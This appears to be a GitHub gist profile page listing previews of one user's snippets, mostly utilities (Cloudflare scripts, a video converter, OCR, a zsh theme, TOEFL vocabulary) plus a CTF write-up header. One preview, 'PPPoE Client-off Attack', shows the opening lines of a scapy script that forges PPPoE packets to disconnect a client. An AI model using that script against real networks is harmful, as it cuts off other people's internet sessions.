Skip to content

Instantly share code, notes, and snippets.

View xjasonlyu's full-sized avatar
🦈
Ripping off codes

Jason Lyu xjasonlyu

🦈
Ripping off codes
  • McMaster University
  • Greater Toronto Area
  • 07:09 (UTC -04:00)
View GitHub Profile
@xjasonlyu
xjasonlyu / github-actions-workflow-dispatcher.js
Last active January 28, 2024 12:50
Cloudflare Worker Snippets
addEventListener('scheduled', event => {
event.waitUntil(handleSchedule(event.scheduledTime))
})
async function handleSchedule(scheduledDate) {
const url = `https://api.github.com/repos/${OWNER}/${REPO}/actions/workflows/${WORKFLOW_ID}/dispatches`
await fetch(url, {
method: 'POST',
headers: {
'Accept': 'application/vnd.github+json',
@xjasonlyu
xjasonlyu / apple-pickup-monitor-ca.py
Last active September 15, 2023 21:01
Apple Store Pickup Minitor
import os
import sys
import time
import importlib.util
requirements = {
'requests': 'requests',
'yaml': 'pyyaml',
}
@xjasonlyu
xjasonlyu / avc2hevc.py
Created October 7, 2021 04:20
FFMPEG: H264 -> H265
import os
import sys
video_ext = (".mp4", ".wmv", ".avi", ".rm", ".rmvb", ".m4v",
".ogg", ".mkv", ".flv", ".mov", ".3gp", ".ts", ".mpg")
def isvideo(n: str) -> bool:
_, ext = os.path.splitext(n)
return ext.lower() in video_ext
@xjasonlyu
xjasonlyu / vocabulary.md
Created August 30, 2021 06:10
TPO1-54 词汇题专项练习

TPO1-54 词汇题专项练习

1、The word incredible in the passage is closest in meaning to

  • a) Confusing
  • b) Comforting
  • c) Unbelievable
  • d) Interesting

2、The word out of sight in the passage is closest in meaning to

@xjasonlyu
xjasonlyu / ocr.py
Last active July 23, 2021 09:16
VideoSubFinder OCR using Google Cloud
import os
import re
import sys
import logging
from io import StringIO
from concurrent import futures
from google.cloud import vision
IMAGE_EXT = ('.jpg', '.jpeg', '.png')
@xjasonlyu
xjasonlyu / padt.py
Created December 21, 2020 09:18
PPPoE Client-off Attack
import sys
from scapy.all import *
# server_mac = 'e4:35:c8:81:04:89'
def fuck_it(iface: str, server_mac: str, client_mac: str, session_id: int):
print(
f'iface: {iface}, server_mac: {server_mac}, client_mac: {client_mac}, session_id: {session_id}')
p = Ether()/PPPoE()
@xjasonlyu
xjasonlyu / add-ignore-file.py
Created July 17, 2020 05:41
Add .ignore file for emby/jellyfin
#!/usr/bin/env python3
import os
import sys
def touch(filename):
with open(filename, 'w') as f:
pass
@xjasonlyu
xjasonlyu / cloudflare_dns.py
Last active March 15, 2020 08:42
DDNS Update Scripts for Cloudflare
#!/usr/bin/env python
import sys
import json
import requests
# Simple Cloudflare API
class Couldflare(object):
@xjasonlyu
xjasonlyu / fishier.zsh-theme
Last active March 2, 2020 12:49
Oh-My-Zsh-Themes
# FISHY: ZSH Theme emulating the Fish shell's default prompt.
_fishy_collapsed_wd() {
echo $(pwd | perl -pe '
BEGIN {
binmode STDIN, ":encoding(UTF-8)";
binmode STDOUT, ":encoding(UTF-8)";
}; s|^$ENV{HOME}|~|g; s|/([^/.])[^/]*(?=/)|/$1|g; s|/\.([^/])[^/]*(?=/)|/.$1|g
')
}
@xjasonlyu
xjasonlyu / answer.md
Last active December 14, 2019 07:42
USTC hackergame2019 #9-python wp
 ____          _    _                    _____
|  _ \  _   _ | |_ | |__    ___   _ __  |___ /
| |_) || | | || __|| '_ \  / _ \ | '_ \   |_ \
|  __/ | |_| || |_ | | | || (_) || | | | ___) |
|_|     \__, | \__||_| |_| \___/ |_| |_||____/
        |___/

||===============Available Types================||
||# strings, bytes, tuples, lists, dicts, sets, ||